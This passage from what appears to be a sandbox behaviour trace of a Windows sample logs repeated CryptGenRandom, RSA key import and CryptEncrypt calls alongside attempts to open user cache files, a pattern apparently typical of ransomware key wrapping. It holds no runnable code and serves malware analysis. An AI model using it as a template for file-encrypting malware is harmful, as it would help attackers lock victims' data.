phKey=0x285d4b8*=0x50d0390) returned 1 [0204.547] CryptGetKeyParam (in: hKey=0x50d0390, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.547] CryptEncrypt (in: hKey=0x50d0390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6a50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.547] GetLastError () returned 0x0 [0204.547] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.547] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{D1CC3A2E-2BC2-4715-AD4C-90B4CA0868C0}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{d1cc3a2e-2bc2-4715-ad4c-90b4ca0868c0}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.572] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0204.574] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.575] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.575] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.575] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.575] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.577] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.578] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.578] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.578] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.578] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.581] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0650) returned 1 [0204.581] CryptGetKeyParam (in: hKey=0x50d0650, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.581] CryptEncrypt (in: hKey=0x50d0650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6a60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.581] GetLastError () returned 0x0 [0204.581] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.581] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0204.583] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d05d0) returned 1 [0204.583] CryptGetKeyParam (in: hKey=0x50d05d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.583] CryptEncrypt (in: hKey=0x50d05d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6a70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.583] GetLastError () returned 0x0 [0204.583] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.583] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{2546D910-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{2546d910-b905-4d30-88c9-b63c603da134}.3.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.583] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.586] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.587] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.587] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.587] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.587] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0204.588] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.589] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.589] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.589] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.589] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.591] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d07d0) returned 1 [0204.591] CryptGetKeyParam (in: hKey=0x50d07d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.591] CryptEncrypt (in: hKey=0x50d07d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a80000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6a80000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.592] GetLastError () returned 0x0 [0204.592] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.592] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.593] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0550) returned 1 [0204.593] CryptGetKeyParam (in: hKey=0x50d0550, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.593] CryptEncrypt (in: hKey=0x50d0550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a90000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6a90000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.594] GetLastError () returned 0x0 [0204.594] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.594] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000033.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000033.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.594] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.595] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.596] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.596] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.596] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.596] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0204.598] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.598] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.598] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.599] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.599] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.601] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0790) returned 1 [0204.601] CryptGetKeyParam (in: hKey=0x50d0790, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.602] CryptEncrypt (in: hKey=0x50d0790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6aa0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6aa0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.602] GetLastError () returned 0x0 [0204.602] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.602] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.603] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0250) returned 1 [0204.604] CryptGetKeyParam (in: hKey=0x50d0250, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.604] CryptEncrypt (in: hKey=0x50d0250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ab0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6ab0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.604] GetLastError () returned 0x0 [0204.604] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.604] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000034.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000034.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.604] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0204.606] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.607] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.607] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.607] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.607] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0204.608] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.609] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.609] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.609] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0204.609] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0204.611] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0410) returned 1 [0204.611] CryptGetKeyParam (in: hKey=0x50d0410, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.611] CryptEncrypt (in: hKey=0x50d0410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ac0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6ac0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.612] GetLastError () returned 0x0 [0204.612] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.612] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0204.613] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0450) returned 1 [0204.613] CryptGetKeyParam (in: hKey=0x50d0450, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.613] CryptEncrypt (in: hKey=0x50d0450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ad0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6ad0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.614] GetLastError () returned 0x0 [0204.614] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.614] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000035.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000035.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.614] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.616] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.617] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.617] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.617] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.617] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0204.618] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.619] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.619] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.619] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.619] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.621] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0290) returned 1 [0204.621] CryptGetKeyParam (in: hKey=0x50d0290, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.622] CryptEncrypt (in: hKey=0x50d0290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ae0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6ae0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.622] GetLastError () returned 0x0 [0204.622] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.622] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.623] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0750) returned 1 [0204.623] CryptGetKeyParam (in: hKey=0x50d0750, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.623] CryptEncrypt (in: hKey=0x50d0750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6af0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6af0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.624] GetLastError () returned 0x0 [0204.624] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.624] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000012.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000012.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.624] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.625] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.626] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.626] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.626] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.626] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.627] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.628] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.628] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.628] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.629] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.631] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0810) returned 1 [0204.633] CryptGetKeyParam (in: hKey=0x50d0810, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.633] CryptEncrypt (in: hKey=0x50d0810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b00000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b00000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.633] GetLastError () returned 0x0 [0204.633] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.633] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0204.635] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0350) returned 1 [0204.635] CryptGetKeyParam (in: hKey=0x50d0350, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.635] CryptEncrypt (in: hKey=0x50d0350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b10000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b10000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.635] GetLastError () returned 0x0 [0204.635] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.635] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.640] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.642] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.642] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.642] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.642] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.643] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.644] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.645] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.645] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.645] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.645] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.647] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0610) returned 1 [0204.647] CryptGetKeyParam (in: hKey=0x50d0610, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.647] CryptEncrypt (in: hKey=0x50d0610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.648] GetLastError () returned 0x0 [0204.648] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.648] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0204.649] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0490) returned 1 [0204.649] CryptGetKeyParam (in: hKey=0x50d0490, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.649] CryptEncrypt (in: hKey=0x50d0490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 